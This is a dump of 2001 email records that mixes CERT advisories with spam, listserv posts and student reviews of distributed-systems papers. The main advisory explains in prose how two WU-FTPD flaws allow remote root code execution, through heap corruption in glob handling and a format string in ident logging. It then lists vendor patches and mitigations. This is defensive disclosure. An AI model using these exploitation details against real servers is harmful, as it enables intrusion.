Hewlett-Packard Company Security Bulletin #0176. Appendix B. - References 1. http://www.kb.cert.org/vuls/id/638011 2. http://xforce.iss.net/alerts/advise102.php 3. http://www.kb.cert.org/vuls/id/IAFY-54PKL4 _________________________________________________________________ _________________________________________________________________ This vulnerability was discovered and researched by Mark Dowd and Kris Hunt of Internet Security Systems (ISS). The CERT/CC thanks ISS for the information contained in their advisory. _________________________________________________________________ Author: Ian A. Finlay. ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-32.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / EDT(GMT-4) Monday through Friday; they are on call for emergencies during other hours, on U.S. holidays, and on weekends. Using encryption We strongly urge you to encrypt sensitive information sent by email. Our public PGP key is available from http://www.cert.org/CERT_PGP.key If you prefer to use DES, please call the CERT hotline for more information. Getting security information CERT publications and other security information are available from our web site: http://www.cert.org/ To subscribe to the CERT mailing list for advisories and bulletins, send email to majordomo@cert.org. Please include in the body of your message: subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2001 Carnegie Mellon University. Revision History November 21, 2001: initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBO/v/ZaCVPMXQI2HJAQET4gP/e7X3trRSEzNeXBlE8TkMX0phGOCDe2xQ ksuW+n6Idr+056a1ZqYbA9q8FG8qIRYCR51Hfl5OsX3NeztdjfMLylW+Xkf5sqn7 w0zmSzj2zXXEHyKz9Zzbfj544E86L2i+yJVjGrtrKyqYaWvJH5bXLWAzFFm3Qpme 698IC1jYn/k= =k4Qj -----END PGP SIGNATURE----- ",0,1 Chester Garza ,smc90@columbia.edu,"Wed, 21 Nov 2001 14:06:02 -0500",down-down my weight,"may w some tegucigalpa but heat ! allan some denial ",1,0 Australian Lottery ,Australian Lottery ,"Fri, 23 Nov 2001 07:08:49 -0900",Re: Congratulations.,"Australian Lottery. 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So, with this in mind, please recommend a location where the poster can be mounted to the wall. The poster's purpose--inform students and others, of the support/recogntion that UR is receiving from external organizations. Is there a location as you enter the building?? Your suggestions, please. Elizabeth Taraski McDonnell, Ph.D. Director, Foundation & Government Grants University of Richmond 101 Maryland Hall Richmond, Virginia 23173 804-289-8445 804-287-6491 FAX emcdonne@richmond.edu ",0,0 深圳群力科技 ,egs@cs.cornell.edu,"Thu, 29 Nov 2001 05:55:11 +0800",Re:,无标题文档        签约包月**快速专业上门维修电 脑       闪电安装新系统  30分钟就OK  生意人的首选        (1)电脑组装及硬件销售与维护        (2)快速安装各种繁、简体操作系统(Win98(ME)、WinXP、Win2000)        (3)排除各种常见的故障、硬盘数据恢复        (4)安装各种常用办公、工具 软件(安装新系 统免费)       (5)销售正版杀毒软件、搜索群发Email软 件       (6)局域网、广 域网共享、网络传真(无纸办公)        (7)网络系统布线设计及应用        (8)计算机病毒防治及防火墙设置        (9)快速解决ADSL、天威、网通一个帐号多机同时上网        (10)专业组建有盘、无盘网 吧工程        * 专业组建有盘 网吧工程：             1、电脑组装  2、安装操作系统  3、安装各种最新网络、本地游戏             4、最新精彩电影大片、MP3音乐   5、万象、美萍智能化收费系统             6、安装智能化还原精灵   7、网络布线、网络资源共享        ** 电脑维护、电脑组装、网络工程  **          * 热烈欢迎单位或个人签约 包月 *        ** 热诚的服务，全心全意全为了您  **        深圳群力科技有限公司        联系人：欧奕丰        联系电话：13714682076或 0755-88363633       QQ：282079259   2441630       E-mail:wo16288@21cn.com,1,1 """Panagiotis (Panos) Papadimitratos"" ",Emin Gun Sirer ,"Thu, 29 Nov 2001 03:37:36 -0500",615 PAPER 60," Review of: ""Herald: aChieving a Global Event Notification Service,"" by L.F. Cabrera, m.B.Jones, M. Theimer Panagiotis Papadimtratos papadp@ece.cornell.edu The authors present a hybrid of a position paper and a list of design directions and goals for a distributed, scalable event notification scheme. The basic concept that provides for the distribution of the system is the 'Rendez-vous point' (RVP) and differentiates this design from other centralized messaging/event notification services. In addition, simplicity, traded for guarantees on the notification delivery, is a major goal for the system that targets global deployment. Herald servers are to reside in numerous machines and publisher and subscriber client processes create and communicate throught the RVP's. Clients create RVP's, events are published and the RVP notifies the subcribed processes for corresponding newly published events. RVP's may be replicated and reside in different Herald machines in order to increase fault tolerance. Soft state is maintained in each RVP (i.e., state becomes obsolete unless explicitly updated) via 'time contracts' and the 'history' is proposed as a means to deal with periods of disconnection and loss of state. The extreme flexibility in the creation of RVP's and the absence of any naming scheme raises the issue of resource location; is this the reason for their proposing the use of agents as the a way to retrieve notifications (with administrative RVP's also dealing with changes)? The replication could indeed contribute to load balancing and thus scaling, but this would also require an explicit way for subscribers to switch from one replica to another, which is not straightforward at all, especially because processes that are assumed to act autonomously have to motivated to do so. Finally, the claim about 'mutually untrusted domains' recurs but apart from a generic statement about Access control policies to be employed (by herald servers? at RVP's?) there is no further explanation on how this parameter is taken into account in the design (or is it merely a re-phrasing of 'open, distributed system'?) ",0,0 NTimpone@aol.com,Lesson Study Listserv ,"Thu, 29 Nov 2001 16:37:06 -0500",lesson study and student teachers,"My name is Nick Timpone and I am a teacher in Paterson, New Jersey Public School #2. I am currently doing research for my masters thesis. I am investigting the effect of lesson study on student teachers and I am looking for a population to participate in my study. I am looking for schools that are practicing lesson study in mathematics and that will have a student teacher(s) involved in the process during the Spring 2002 semester. Please reply to ntimpone@aol.com or phone me at 201-288-3464. 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Systems Affected * Systems running WU-FTPD and its derivatives Overview WU-FTPD is a widely deployed software package used to provide File Transport Protocol (FTP) services on UNIX and Linux systems. There are two vulnerabilities in WU-FTPD that expose a system to potential remote root compromise by anyone with access to the FTP service. These vulnerabilities have recently received increased scrutiny. I. Description There are two remote code execution vulnerabilities in the Washington University FTP daemon (WU-FTPD). Both of these vulnerabilities have been discussed in public forums and have received widespread exposure. VU#886083: WU-FTPD does not properly handle glob command WU-FTPD features globbing capabilities that allow a user to specify multiple file names and locations using typical shell notation. See CERT Advisory CA-2001-07 for a more complete explanation of globbing. WU-FTPD implements its own globbing code instead of using libraries in the underlying operating system. When the globbing code is called, it allocates memory on the heap to store a list of file names that match the expanded glob expression. The globbing code is designed to recognize invalid syntax and return an error condition to the calling function. However, when it encounters a specific string, the globbing code fails to properly return the error condition. Therefore, the calling function proceeds as if the glob syntax were correct and later frees unallocated memory that can contain user-supplied data. If intruders can place addresses and shellcode in the right locations on the heap using FTP commands, they may be able to cause WU-FTPD to execute arbitrary code by later issuing a command that is mishandled by the globbing code. This vulnerability is potentially exploitable by any user who is able to log in to a vulnerable server, including users with anonymous access. If the exploit is successful, an attacker may be able to execute arbitrary code with the privileges of WU-FTPD, typically root. If the exploit is unsuccessful, the thread servicing the request will fail, but the WU-FTPD process will continue to run. This vulnerability has been assigned the identifier CAN-2001-0550 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0550 CORE Security Technologies has published a Vulnerability Report on this issue: http://www.corest.com/pressroom/advisories_desplegado.php? dxsection=10&idx=17 VU#639760: WU-FTPD configured to use RFC 931 authentication running in debug mode contains format string vulnerability WU-FTPD can perform RFC 931 authentication when accepting inbound connections from clients. RFC 931 defines the Authentication Server Protocol, and is obsoleted by RFC 1413 which defines the Identity Protocol. RFC 931 is commonly known as ""auth"" or ""authd"", and RFC 1413 is commonly known ""ident"" or ""identd"". Both are named after the daemon that commonly provides the service. When using RFC 931 authentication, WU-FTPD will request ident information before authorizing a connection request from a client. The auth or ident service running on the client returns user-specific information, allowing WU-FTPD to make authentication decisions based on data in the ident response. WU-FTPD can also be run in debugging mode, which provides detailed information about its operation. When WU-FTPD is configured to perform RFC 931 authentication and is run in debug mode, it logs connection information using syslog(3) function calls. The logging code does not include format string specifiers in some syslog(3) calls, nor does the code perform adequate input validation on the contents of the identd response received from a client. As a result, a crafted identd response containing user-supplied format string specifiers is interpreted by syslog(3), possibly overwriting arbitrary locations in memory. By carefully designing such a request, an attacker may execute arbitrary code with the privileges of WU-FTPD. This vulnerability is potentially exploitable by any user who is able to log in to a vulnerable server, including users with anonymous access. The intruder must also be able to control their response to the ident request. If successful, an attacker may be able to execute arbitrary code with the privileges of WU-FTPD, typically root. Note that this vulnerability does not manifest unless WU-FTPD is configured to use RFC 931 authentication and is run in debug mode. This vulnerability has been assigned the identifier CAN-2001-0187 by the Common Vulnerabilities and Exposures (CVE) group: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0187 II. Impact Both of these vulnerabilities can be exploited remotely by any user with access to the FTP service, including anonymous access. Both vulnerabilities allow an intruder to execute arbitrary code with the privileges of WU-FTPD, typically root. An exploit attempt that does not succeed in executing code may crash WU-FTPD or end the connection used by the intruder. For additional information about the impacts of each of these vulnerabilities, please consult the CERT Vulnerability Notes Database (http://www.kb.cert.org/vuls). III. Solution Apply patches from your vendor Appendix A contains information for this advisory provided by vendors. As they report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please contact your vendor directly. Restrict access to WU-FTPD As a general practice, the CERT/CC recommends disabling services and access that are not explicitly required. You may wish to disable WU-FTPD until you are able to apply a patch. If you cannot disable the service, you can limit your exposure to these vulnerabilities by blocking or restricting access to the control channel (by default, port 21/tcp) used by WU-FTPD. In the case of the format string vulnerability (VU#639760), an exploit would be transmitted from port 113/tcp on the attacking host to the WU-FTPD server that made the identd request. Note that blocking access from untrusted networks such as the Internet does not protect your systems against attacks from within your network. Disable anonymous FTP access Although disabling anonymous FTP access does not prevent attacks from occurring, it does prevent unauthenticated users from attempting to exploit the globbing vulnerability (VU#886083). Appendix A. Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Note that this advisory discusses two distinct vulnerabilities, and vendor statements may address one or both. Caldera Caldera has released Security Advisory CSSA-2001-041.0: http://www.caldera.com/support/security/advisories/CSSA-2001-04 1.0.txt Cray Cray, Inc. is not vulnerable since the ftp supplied with UNICOS and UNICOS/mk is not based on the Washington University version. Cray did check their ftp code and does not see this exploit. Debian Debian addressed VU#639760 with Debian Security Advisory DSA-016 in January 2001: http://www.debian.org/security/2001/dsa-016 Hewlett-Packard Company HP's HP-UX is immune to this issue. It was fixed in conjunction with the last ""globbing"" issue announced in CERT Advisory CA-2001-07, released April 10, 2001. The lab did a complete check/scan of the globbing software, and fixed this issue then as well. Customers should apply the patches listed in HP Security Bulletin #162 released July 19,2001: HPSBUX0107-162 Security Vulnerability in ftpd and ftp Hewlett-Packard Security Bulletins are available at the IT Resource Center web site (registration required): http://www.itresourcecenter.hp.com/ IBM Corporation IBM's AIX operating system does not use WU-FTPD, hence is not vulnerable to the exploit described by CORE ST. Immunix Immunix has released Security Advisory IMNX-2001-70-036-01: http://download.immunix.org/ImmunixOS/7.0/updates/IMNX-2001-70- 036-01 OpenBSD OpenBSD does not use WU-FTPD. RedHat Inc. RedHat has released Errata Advisory RHSA-2001-147: http://www.redhat.com/support/errata/RHSA-2001-147.html SGI SGI does not ship IRIX with wu-ftpd, so IRIX is not vulnerable to these issues. SuSE SuSE has released SuSE Security Announcement SuSE-SA:2001:043. WU-FTPD The WU-FTPD Development Group has provided source code patches that address both of these issues. * VU#886083: ftp://ftp.wu-ftpd.org/pub/wu-ftpd/patches/apply_to_current/ftpglob .patch * VU#639760: ftp://ftp.wu-ftpd.org/pub/wu-ftpd/patches/apply_to_current/missing _format_strings.patch _________________________________________________________________ The CERT Coordination Center thanks CORE Security Technologies and the WU-FTPD Development Group for their help _________________________________________________________________ Author: Art Manion _________________________________________________________________ References * http://www.kb.cert.org/vuls/id/886083 * http://www.kb.cert.org/vuls/id/639760 * http://www.kb.cert.org/vuls * http://www.ietf.org/rfc/rfc931.txt * http://www.ietf.org/rfc/rfc1413.txt * http://www.ietf.org/rfc/rfc959.txt * http://www.corest.com/pressroom/advisories_desplegado.php?idxsecti on=10&idx=172 ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2001-33.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Tapestry achieves overall network performance through the accumulation of statistics, and its routing is done independent of the physical location of the server. The routing in Tapestry is done using the neighbor maps. The neighbor maps contain entries whose neighbor node IDs are computed using a hashing function such as SHA-1. The destination nodes in the neighbor map can be resolved digit when a service request traverses through the network. The location scheme in Tapestry is done by having multiple root nodes serving an object. Each root node contains pointer pointing to the actual location of the object. And each intermediate hop from the root node to the object location node contains a tuple assist a client quickly locating the needed object. The use of multiple root nodes solves the problem of single point of failure, as is present in the Plaxton algorithm. Tapestry allows soft-state, graceful fault recovery. It requires the publisher of the object to periodically update and/or maintain the object in the server, and will delete the object if a long period of inaction is observed. This scheme has the advantage of treating faults as part of Tapestry's normal operations, and thus no dedicated mechanism is required to address the fault-tolerance issue. In Tapestry, load balancing may be achieved using two algorithms implemented in Tapestry nodes. The first is a refresher thread that runs in the background to update the network latency from the node to each of its neighbors. If the latency exceeds some predefined threshold, a secondary neighbor node (each Tapestry neighbor map entry keeps one primary and two secondary neighbors) will be used to route the message. The second algorithm enables the node to keep track of sources of heavy query load, or hotspots, and offer suggestions on locations where additional copies of the service object may improve query response time. The simulation results presented in this paper largely confirm the objectives the researchers set out to accomplish. Specifically, the results show that the use of location pointers in Tapestry nodes allows the relative delay penalty to be kept fairly constant, irrespective of the number of hops a message traverses; the replicas of object in several locations help bring down the latency; multiple root nodes also have the same positive impact; and Tapestry performs better when under high load stress. However, there are some trade-offs to be made aware of. First is the bandwidth. Tapestry requires an ample supply of bandwidth to carry out its operations. Secondly, especially when multiple replicas of object and multiple root nodes are deployed, there is a stringent requirement on the disk space the replica servers and root nodes need to possess. Tapestry seems to act under the assumption that the nodes will have enough disk space to support object replicas and to serve as root nodes. This may not be true in the real world. A result will be a replica of the object can not find a suitable node to be housed.",0,0 Edward Hua ,egs@CS.Cornell.EDU,"Mon, 03 Dec 2001 13:28:05 -0500",615 Paper # 69,"Bayeux: AN Architecture for Scalable and Fault-tolerant Wide-area Data Dissemination Shelly Q. Zhuang, Ben, Y. Zhao, Anthony D. Joseph, Randy H. Katz, John D. Kubiatowicz This paper proposes Bayeux, which is essentially Tapestry with multicast operations. Bayeux is used in distributing streaming multimedia applications from a single source (publisher) to a large receiver group. It has the capability to scale to thousands of nodes in the network, is fault-tolerant to link and node failures, and combines randomness for load balancing with locality for efficient use of network bandwidth. Bayeux uses the Tapestry mechanism as its location and routing substrate, and on top of it is the application-specific multicast operation. Because randomized node IDs naturally group themselves into sets sharing common suffixes, a multicast packet does not have to be duplicated when traversing the network until it encounters receiver nodes whose identifiers become divergent in the next nodeID digit. Also, the maximum number of overlay hops by Bayeux multicast delivery operation is bounded by the total number of digits in the underlying Tapestry's node IDs. The base architecture of Bayeux is straightforward. When a server node has a session to advertise, it creates a tuple, hashes it into a 160-bit identifier, and sends this identifier using the Tapestry operations to a root node for advertisement. The root node now will have a pointer to point where the session is located. When multiple clients request the session from the root node, they first know the same tuple a priori, use the same hashing function to get the identifier, and then request the session service from the root node using the Tapestry operation. The root node then performs a multicast membership operation to establish a receiver group for receiving the advertised session service. In maintaining the multicast membership tree, four control messages are exchanged between the root node and the client nodes. They are JOIN, TREE, LEAVE, and PRUNE. A node joins the multicast session by sending a JOIN message towards the root, which then replies with a TREE message. Notice here the JOIN and TREE can take on different paths. When a router receives the TREE message, it adds the new member node ID to the list of receiver node IDs that it's responsible for and updates its forwarding table. When a node decides to leave the multicast membership, it sends a LEAVE message to the root, which then returns the PRUNE message. Along the path, the routers delete leaving node's ID from their receiver node lists. Further enhancements to improve the scalability of Bayeux multicast operations are made. One is the tree partitioning, in which multiple root nodes, instead of a single root node, are used that may form disjoint membership trees of their own. The advantages of this arrangement are two-fold: 1) it eliminates the single point of failure problem associated with a single root node, and 2) a member node may choose a root node closest to itself to reach the desired session, thus saving both delay and bandwidth consumption. Another improvement is called receiver identifier clustering. This is the scheme for smartly naming node IDs so that local member nodes to a root node may share the longest possible suffix, thus reducing session packet replication.",0,0 Walter Bell ,egs@CS.Cornell.EDU,"Mon, 03 Dec 2001 14:03:44 -0500",615 PAPER #68,"68) Tapestry: An Infrastructure for Fault-tolerant Wide-area Location and Routing Tapestry is an application level infrastructure for fault tolerance with respect to routing and location. The main idea is that given Moore's law, we can afford to utilize more and more bits and cycles to promote redundancy and therefore better scalability rather than the current house of cards which is the Internet. I think this philosophy is incredibly flawed-- the only reason why the Internet has scaled as it has is because of Moore's law technology growth while the use of that technology hasn't substantially changed. This has allowed the Internet to scale in the number of hosts, as the cycles needed to support a single host has remained relatively constant. What they propose would dramatically increase the relative amount of resources needed to support a host, which would lead to a quadratic scaling of the need for resources on the Internet, which even Moore's law growth cannot support. With that said, they hope to promote a Pastry-like location and routing service based on the Plaxton mesh topology construction, where routing happens on an overlay network and is done via prefixes of the node identifier. Nodes expose objects to root nodes via identifiers which propagate with home information throughout the system. They replicate root nodes in order to provide better accessibility as well as redundency in object directories. State maintenance is done via soft state with incredibly large timeouts (on the order of days) which makes me question the scalability of this system. Their protocols for adding and removing nodes are very complex and expensive which would seem to be a large impairment to not only scalability but ability to deploy such a system on the Internet. I was not convinced of the stability of such a scheme as they assume that nodes have frequently out of date or wrong information, but yet set timeouts to be very high (such as waiting for days to remove a dead host.) I hate to be too skeptical, but they had too many places where they asked me to believe that certain properties held. I felt that the initial idea of stability through statistics (not only catchy, but a useful way to view the problem) was a good one, but that they promoted a view of routing that was somewhat ill-conceived-- routing is something that people do in order to get what they really want done, and hence it should not require large resources, which is exactly the opposite of their focus, where routing was a very expensive and primary activity. ",0,0 Walter Bell ,egs@CS.Cornell.EDU,"Mon, 03 Dec 2001 14:04:34 -0500",615 PAPER #69,"69) Bayeux: An Architecture for Scalable and Fault-tolerant Wide-area Data Dissemination Bayeux is a multicast architecture built on top of Tapestry which uses the connectivity information in Tapestry in order to do efficient multicast data dispersal. By using Tapestry's suffix based routing, they avoid unicasting packets to all subscribers from a single sender, and instead, duplicate packets only at every branch of the tapestry suffix tree. I found the protocol description to be incredibly terse, with little description of how it actually works. I do believe that such a facility could be built on top of Tapestry, but was unconvinced that this was a reasonable thing to do. No analysis of the overhead of such a mechanism was presented, but my intuition is that it is quite high, because although duplicating packets at suffix points makes sense when the nodes suffix has something to do with locality on the network, Tapestry makes no such guarantee, and while splitting on suffixes works well on the Tapestry space, this has no correlation to the amount of actual network hops. They state that it would be a useful optimization to allocate Tapestry suffixes to correspond to the actual network proximity, but that seems to defeat the purpose of the scalability of Tapestry, and makes me wonder why we've left the ip address space and gone to an overlay network. They present a decent number of ways to use alternate routing information in order to get better data dispersal, which I found useful, but there was little evaluation of the tradeoffs between bandwidth usage and overall gain. For all of these methods it seems to be critically important to understand the mapping between the Tapestry id space and the underlying ip address space, but this fact is completely ignored. This seems to be the fatal flaw of all this work-- one can build primitives on top of these infrastructures, but if they don't provide significantly better guarantees than ip alone, the cost does not justify the use, and Tapestry does not motivate that it's gain is significant enough to justify it's deployment across the global Internet. ",0,0 c.tavoularis@utoronto.ca,COM S 615 ,"Mon, 03 Dec 2001 20:21:43 -0500",615 PAPER 68,"This article presents Tapestry, an overlay routing infrastructure that provides location independent routing to the closest copy of an object or service. Tapestry is decentralized such that nodes maintain a fair amount of soft state routing information in a simple, scalable and fault tolerant manner. Tapestry is based on Moore’s law to achieve stability through statistics by creating redundant copies of objects. Tapestry employs a variation of Plaxton mechanisms for locating and routing named objects. Object and node names, independent of location, are random numbers of fixed length, and exist in the same uniform namespace (created using hash functions). Routing is accomplished digit by digit. Plaxton meshes are data structures at each node that contain a routing map. Routing maps are organized in levels according to matching suffix of a specific length. The message is forwarded to the node at the next level with an entry matching the next digit in the destination Id. This algorithm guarantees a number of hops to the destination of order logarithm of the total number of nodes. The maps to objects resemble an embedded set of trees, one rooted at every node. Each object has a set of nodes to serve as its roots. Plaxton only uses one root node per object, which sets the stage for single points of failure. Tapestry also uses surrogate-routing, instead of global information, to select root nodes. This method is dynamic for changing environments, and deterministic so that any Id will be mapped to an existing node. A node must publish objects it hosts to the root node of the object by forwarding a message to it. Pointers along the path from host node to root node are maintained. A new node can join by bootstrapping to a gateway node in the network, and trying to route to itself while gathering copies of neighbor maps along the way. It then must notify other nodes to include it in their routing tables. Location-independent names of objects make it easy for applications to request services, and at the closest possible location with high probability. Replicated objects must maintain some consistency, although strict consistency is not essential since re-requests can be implemented. Using a soft-state approach, periodic update messages are sent to nearby nodes, such that caches expire if updates are not being received over some time. This allows old information to disappear gracefully. Location mappings are also soft-state and servers must republish the existence of their objects. Immediate neighbors send each other hearbeat messages so that node failures can be detected promptly. Some explicit updating is used to reduce some of the bandwidth overhead caused by soft state maintenance. Tapestry showed good performance characteristics including reasonable latency, graceful degradation in the event of failures and small overhead. The infrastructure adopted here proves that object and routing information replication in large networks provide durability and performance enhancement, while adding minimal overhead to deal with consistency. Tapestry upgrades Plaxton mechanisms to provide adaptability and further fault tolerance. ",0,0 Avneesh Bhatnagar ,egs@CS.Cornell.EDU,"Tue, 04 Dec 2001 11:23:26 -0500",615 Paper 69,"Bayeux This paper describes the implementation of Bayeux, an application level multicast system , which is built upon the Tapestry routing architecture, thus deriving its falt tolerance properties. A Bayeux multicast session consists of a session name and a UID. A 160 bit hash key of this tuple is formed, a a file is created with this identifier, which placed at the root of the multicast tree. Clients which need to join, should know the unique tuple. The group membership operations consist of JOIN,LEAVE,TREE and PRUNE. JOIN messages result in the root sending a TREE message to the client. NOdes within this route would add the client ID in their receiver ID list for subsequent packet forwarding. The authors evaluate the performance of the multicast implementation over simple unicast in terms of link stress. They also investigate issues of tree partitioning due to having just one multicast root. This problem can be easily alleviated by the Tapestry substrate since it provides an easy mechanism for creating multiple root nodes. Tapestry guarantees to find a root with high probablity. Other optmizations to reduce duplicate packet delivery is to carry out receiver identifier clustering in order to group nodes which might share the first m bits of a node ID. Simulations based on this show favorable results. An interesting evaluation is that of the First Reachable Link selection protocol in order to ensure high probability of succesful packet delivery on this multicast network. This method does not use duplicate packets, but instead involves pervious history of link quality to be taken into account when calculating the next best link. When a new link is chosen , the membership state is also propagated. I think that this work was quite interesting, not in view of introducing a novel idea, but actually showing the strenghts of the Tapestry routing protocol and its degree of extensibility for multicast routing. There is one thing that I could not understand and that was how the Tapestry IDs were related to IP address space. ",0,0 Venu Ramasubramanian ,Emin Gun Sirer ,"Tue, 04 Dec 2001 11:24:38 -0500",cs615 PAPER 68,"Tapestry: An Infrastructure for Fault tolerant Wide-area Location and Routing. This paper presents tapestry, yet another object location (i.e., routing) scheme designed for large scale peer-peer networks. The tapestry routing algorithm closely resembles pastry, both being based on a radix sort like approach of plaxton et al. Tapestry like pastry provides log(n) bound on the number of hops and also have similar optimizations to route to closest server in the actual internet topology based on a suitable metric such as latency. Tapestry also shares other design goals such as decentralization, scalability and fault tolerance with pastry, chord and others. In tapestry, the objects are not distributed throughout the network. The objects are assumed to be in persistent storage of a set of servers responsible for the objects. Only pointers to the location of the obejct (server id) is distributed in the network. This makes the size of contents distributed in the network small and equal. Therefore no special load balancing techniques are required and repeated copying of the contents does not consume excessive bandwidth. Tapestry also differs from pastry in the way replicas of the contents (object, server mappings) are distributed. Instead of choosing topologically adjacent nodes, it relicates the contents on root serrvers uniformly distributed in the topology. The object id is rehashed after adding a salt (to represent replica number) in order to locate the root server. This facilitates parallel routing queries lowering the retrieval latency by a little. The contents distributed in the network are considered as soft state, to be deleted unless refreshed by periodic refresh messages. Thus the server responsible for an object is expected to periodically route refresh messages in order to preserve the (object, server) mapping in the tapestry nodes. Thus log(n) messages are periodically generated for each object in the network. Further each tapestry node is also expected to send periodic heart beat messages to all the neighbors, i.e., other nodes with this node in their routing tables. This generates b*log(n) (size of routing table) at every node during a period. These periodic mesages consume a fair bit of available bandwidth and would pose great restrictions to scalability of this algorithm with number of objects and with number of faults. ",0,0 jitzel@state.de.us,Lesson Study Listserv ,"Tue, 04 Dec 2001 11:26:52 -0500",references,"To all lesson study practitioners: if you would like your school mentioned in an article that I am currently preparing for an ASCD journal, please e-mail me with a short description of what you have done and/or are currently doing. Thanks. Janice Janice Itzel, Teacher-on-Loan Lesson Study Delaware Department of Education 302-739-4885 ex. 3333 jitzel@state.de.us --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,0 Venu Ramasubramanian ,Emin Gun Sirer ,"Tue, 04 Dec 2001 11:48:20 -0500",cs615 PAPER 69,"Bayeux: An architecture for scalable and fault-tolerant wide are data dissemincation. Bayeux is a tree based multicast protocol desgined for streaming multimedia on top of tapestry routing protocol. Streaming multi-media applications have the property of having several consumers of information while a singe source. This fits neatly on top of the tapestry architecture since the source can be considered to be the root server for the media-files and the consumers, the different client of tapestry. As shown in the paper it is quite trivial to establish a logical tree of routing from source to multiple destinations based on the tapestry architecture. Such a tree would have a very short depth (10 for 160-bit node ids) and a constant fan-out (16). The quality of multi-media streams relies extremely upon a metric called jitter - that measures the inter-arrival time between succesive packets. Since tapestry architecture has a constant tree-rebuilding process in the background upon node and link failures, it would be extremely difficult to guarantee low jitter. Further tapestry assumes an underlying overlay network routing architecture (internet) that does not guarantee any bound for the jitter. These restrictions may prove tapestry an unsuitable solution for the proposed problem. Bayeux proposes to overcome this problem partly by routing duplicate packets through secondary neighbors in the routing tree. While the paper claims that such duplicate paths taken would soon converge (thus limiting the overhead) it is not clear why as contrary to what is stated in the paper the multicast tree is rooted at the source and not the destination. In addition to that the tapestry routing algorithm relies on timeouts when routing through secondary neighbors and hence might increase the jitter quite high. Further, bayeux proposes to make nodes proximal in the physical topology also to be proximal in the virtual topology. This might weaken the fault tolerance and robustness gurantees of tapestry. ",0,0 hao ming ,'Emin Gun Sirer' ,"Tue, 04 Dec 2001 11:51:07 -0500",615 PAPER 68," Tapestry: An Infrastructure for Fault tolerant Wide-area Location and Routing Ben Y. Zhao, John Kubiatowicz, and Anthony D. Joseph the paper comes from the same point as the last 4 papers: how to distribute and retrieve the information world-widely. the development of Internet makes this possible. And some systems has been set up like Past, Freenet. this paper outlines 5 basic requirements needed by this kind of system. 1. load balance 2. scalability 3. self-organization 4. fault-torlerance 5. decentralized the routing method is similar to that of Pastry. first, a SHA-1 hash is used to evenly distribute the information among the name space. Then a Plaxton routing routing method is used which guarantee the LogN routing step. the main new features Tapetry can be seen from its difference from Plaxton from which Tapestry inherits many things. 1. more flexible mechanism to select the replica. 2. using backup neighbors and hello message to detect and bypassing fault nodes. a second chance is given to the fault neighbors to reduce reinsertion overhead. 3. multiple root for object to avoid single point failure 4. refreshing of pointers along the route to the root. 5. nodes can join and depart dynamically. new nodes get their neighbor maps by routing to its own ID from a known gateway and retrieve the neighbor map one level from each node along the route. further optimization is carried out. comments: in comparison with Pastry, we can find some drawback of Tapestry. Pastry cleverly use prefix insdead of suffix in order to taking Distance into account. though Pastry also retrieve the routing info from nodes along the route, it has much less overhead because it already takes locality into account and make distance optimization not unnecessary. -ming ",0,0 c.tavoularis@utoronto.ca,COM S 615 ,"Tue, 04 Dec 2001 12:04:13 -0500",615 PAPER 69,"Bayeux is an application-level multicast system intended for streaming multimedia from one or few source to large number of destinations. Bayeux employs Tapestry for routing and location. It builds a distribution tree for multicast while trying to minimize delay and bandwidth use, while handling link and node failures. The goal is to build an efficient network of unicast connections using Tapestry, and then create a data distribution tree rooted at the source and reaching all multicast members. Tapestry forwarding achieved index-by-index can be exploited for multicasting purposes by multiplexing data packets and diverging when an index has changed. Bayeux uses Tapestry’s data location service to publish multicast session with the hash of a unique tuple at the root node. The root node advertises the session, and clients that can identify the session can join by sending a JOIN message to the root. The root replies with a TREE message, such that routers in the forwarding path maintain a list of receiver node Ids. A node can send a LEAVE message to remove itself from the session, which triggers a PRUNE message from the root to notify forwarding routers of the change. Bayeux was evaluated according to relative delay penalty with respect to Tapestry, and physical link stress to measure load balancing. It was shown that overall link stress is lower in Bayeux than in unicast. This paper also provides scalability enhancements on top of Tapestry. Tapestry allows Bayeux to load-balance across multiple root nodes using tree partitioning. The root nodes containing the same object are organized into a tapestry network, and each advertises he object. Clients join to the closest root hence the load is distributed. Tapestry also enables clustering of receiver nodes by id, which further reduces link stress. Bayeux demonstrates an efficient use of the Tapestry infrastructure, and seems to demonstrate the potential to support wide-area multimedia dissemination. It would be useful to actually demonstrate the performance of Bayeux in a real-world scenario. ",0,0 Prince Samar ,egs@CS.Cornell.EDU,"Tue, 04 Dec 2001 12:10:43 -0500",615 PAPER 68," Tapestry: An Infrastructure for Fault-tolerant Wide-area Location and Routing Tapestry is an object location and routing scheme for large, fault-tolerant peer-to-peer networks. It is quite similar to Pastry and the scheme proposed by Plaxton et al. Messages locate objects and are routed across the network, while using a routing map with size logarithmic to the network namespace at each hop. The main goals of Tapestry are adaptivity, self-management and fault-resilience in the presence of failures. Neighbor maps are used at each node to incrementally route overlay messages 